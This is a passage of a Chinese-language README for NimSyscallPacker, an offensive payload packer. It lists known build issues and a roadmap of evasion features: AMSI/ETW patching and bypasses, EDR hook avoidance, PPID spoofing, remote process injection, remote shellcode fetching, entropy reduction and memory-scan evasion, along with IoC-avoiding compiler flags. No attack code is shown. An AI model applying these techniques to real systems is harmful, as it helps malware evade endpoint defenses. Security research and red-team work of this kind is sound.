SleepyCrypt 不仅会加密 Shellcode,还会加密整个 PE 堆栈,即其所有节区。缺点是加密与您的植入体无关,并且会以固定的时间值进行,例如 10 秒加密和 1 秒执行时间。这可能会导致某些 C2 框架的执行出现问题。

### 为什么我的 MSF、CobaltStrike 或 XxX 仍会被标记?

请阅读:
[https://s3cur3th1ssh1t.github.io/Signature_vs_Behaviour/](https://s3cur3th1ssh1t.github.io/Signature_vs_Behaviour/)

## 已知问题

- 在 Linux 系统上使用较新的 mingw-gcc 版本编译 `--hellsgate` 会失败
- 在 Linux/Debian 上编译 Packer 时使用 `-d:noRES` 以避免编译器错误
- `--syswhispers --jump` 与 `--peload` 组合使用会导致崩溃。目前我只能建议不要使用此选项,因为我完全不知道这个副作用的来源。
- `--obfuscate` 不能很好地处理 ASM-Stubs,因此无法编译带有 `--hellsgate` 或 `--syswhispers` 的二进制文件。
- XP/WS2k3 只能使用 `--syswhispers --noAntidebug --noDInvoke` 这些标志才能工作。
- `--x86` / `--wow64` 已不再维护,目前与捆绑的(非 multilib)MinGW-w64 工具链存在兼容问题。请使用 x64 构建。
- 较新的 MinGW-w64 链接器(11+)默认使用较高的 PE 映像基址,这会破坏 `-static` 链接,导致 `relocation truncated to fit: R_X86_64_32S against .bss` 错误。Packer 现在会向生成的 Loader 编译命令传递 `-Wl,--image-base=0x10000` 来解决此问题。如果您使用此技术栈构建独立的 Nim+static 二进制文件,可能需要同样的标志。

## 待办事项
- [x] 通过系统调用实现 PELoader
- [x] Hellsgate 支持
- [X] 仅加载所需的 Winim 库
- [x] 基于 [SnD_AMSI](https://github.com/whydee86/SnD_AMSI) 的远程进程 AMSI/ETW 修补
- [X] 使用系统调用进行远程修补
- [X] 在修补前将“待修补”的 DLL(ntdll 或 amsi.dll)远程加载到目标进程中(否则对我们没有帮助)
- [x] 为远程 shellcode 注入 + PELoading 提供 Hellsgate 支持
- [X] DLL 输出
- [X] DLL 侧加载(Sideloading)能力
- [X] PowerShell 输出
- [X] C# 输出
- [X] 更多用于 win32 函数的系统调用和/或 D/Invoke
- [X] Cobalt Strike 集成 - CNA
- [ ] 通过例如操作 PEB 字段来传递参数(类似命令行欺骗)
- [X] 通过 API 导入函数修补传递参数
- [X] 通过 Sleep Hook 实现 Shellcode 内存加密 [类 ShellcodeFluctuation](https://github.com/mgeeky/ShellcodeFluctuation)
- [X] 在进程创建且 EDR 的挂钩加载完成后,调用 Windows 函数 ‘GetConsoleWindow’ 和 ‘ShowWindow’,然后将窗口属性更改为隐藏,而不是使用 GUI 编译标志
- [X] 在一些潜在关键的 stub 之间增加更多 sleep
- [X] 定义注入前要生成的自定义远程进程(目前硬编码为 notepad)
- [X] 为新建进程启用 PPID Spoofing
- [X] 为新建进程启用 BlockDLLs
- [X] 无补丁 AMSI 绕过(例如 https://gist.github.com/CCob/fe3b63d80890fafeca982f76c8a3efdf)
- [X] 通过 NtCreateSection Hook 实现 AMSI 绕过(例如 https://waawaa.github.io/es/amsi_bypass-hooking-NtCreateSection/)
- [X] 更多针对 EtwNotificationRegister、EtwEventRegister、EtwEventWriteFull 的 ETW 修补
- [X] 服务二进制文件支持,例如 https://github.com/enthus1ast/nimWindowsService/
- [X] 针对进程附加时 DLLMain 的 DLL 劫持开关
- [X] 修复 x86 转换 bug
- [ ] Wow64 支持
- [X] 像 https://gitlab.com/ORCA000/entropyfix 那样在中间添加 `--pump` 空字节(需要测试,可能导致崩溃)
- [X] CPL 输出文件
- [ ] 诱饵 HTTP 请求选项
- [X] 从 Web 服务器下载 Shellcode 或从本地文件读取,作为嵌入(默认)的替代方案
- [X] 使用更多编译器标志覆盖 dynlib,以避免函数 IoC 并减小体积 `-d:nimNoLibc -d:noSignalHandler --gc:none -d:noSignalHandler --infChecks:off --stdout:off --hotCodeReloading:off --stackTraceMsgs:off --tlsEmulation:off --nanChecks:off -d:nimBuiltinSetjmp --sinkInference:off --deepcopy:off --styleCheck:off --skipParentCfg --passC:"-nostdlib -ffunction-sections -fno-ident -fno-asynchronous-unwind-tables -fno-exceptions" --passL:"-s --disable-runtime-pseudo-relo  --disable-reloc-section" --dynlibOverrideAll`
- [X] 使用克隆的句柄(Handlekatz 类似)替代 OpenProcess 进行远程进程注入,或作为句柄提升的替代方案
- [X] 句柄提升
- [X] 为远程注入添加 ThreadlessInject
- [ ] 通过 https://github.com/lem0nSec/CreateRemoteThreadPlus 的 Nim 移植版,为远程注入添加回调执行原语
- [X] 将 Payload 存储为 MAC 或 IP 地址,并在运行时检索加密的 Payload 以降低熵
- [X] 在线程起始地址的不同区域添加多个跳转(类 DripLoader),以避免内存扫描检测 (https://web.archive.org/web/20220319032617/https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection)

## 致谢

- [X] [@WhyDee86](https://twitter.com/WhyDee86) - Sleep 函数 + 远程进程库模块 + 硬编码参数的初始代码
- [X] [@chvancooten](https://twitter.com/chvancooten) - 自定义 strenc + 其 Nim Packer 的启发
- [X] [@lefayjey](https://github.com/lefayjey) - DLL 输出 + CNA 脚本贡献
- [X] [@d35ha](https://github.com/d35ha/CallObfuscator) - CallObfuscator
- [X] [@klezVirus](https://github.com/klezVirus/NimlineWhispers3) - NimlineWhispers3
- [X] [@TheWover](https://github.com/TheWover/donut) - Donut 
- [X] [@icyguider](https://github.com/icyguider) - 灵感
- [X] [Tylous](https://github.com/Tylous/) - LimeLighter
- [X] [Mr-Un1k0d3r](https://github.com/Mr-Un1k0d3r) - 1 字节 AMSI / ETW 补丁 + 沙箱规避思路
- [X] [glynx](https://github.com/glynx) - Nim-RunPE 硬编码参数拉取请求
- [X] [moloch--](https://github.com/moloch--) - Denim
- [X] [EdgeBalci](https://github.com/EgeBalci) - SGN
- [X] [monoxgas](https://github.com/monoxgas) - Koppeling
- [X] [eversinc33](https://github.com/eversinc33) - BouncyGate、Docker 文件
- [X] [OffenseTeacher](https://github.com/OffenseTeacher) - Steganim
- [X] [OtterHacker](https://github.com/OtterHacker/Conferences/tree/main/Defcon31) - Stomb+Threadless 注入思路
- [X] [DrDv](https://github.com/DrorDvash) - 命令行生成器

## 法律免责声明:
未经事先双方同意,使用 NimSyscallPacker 攻击目标是非法的。遵守所有适用的地方、州和联邦法律是最终用户的责任。开发者不承担任何责任,也不对本程序造成的任何滥用或损害负责。仅供教育目的使用。
下载工具
www.microsoft.com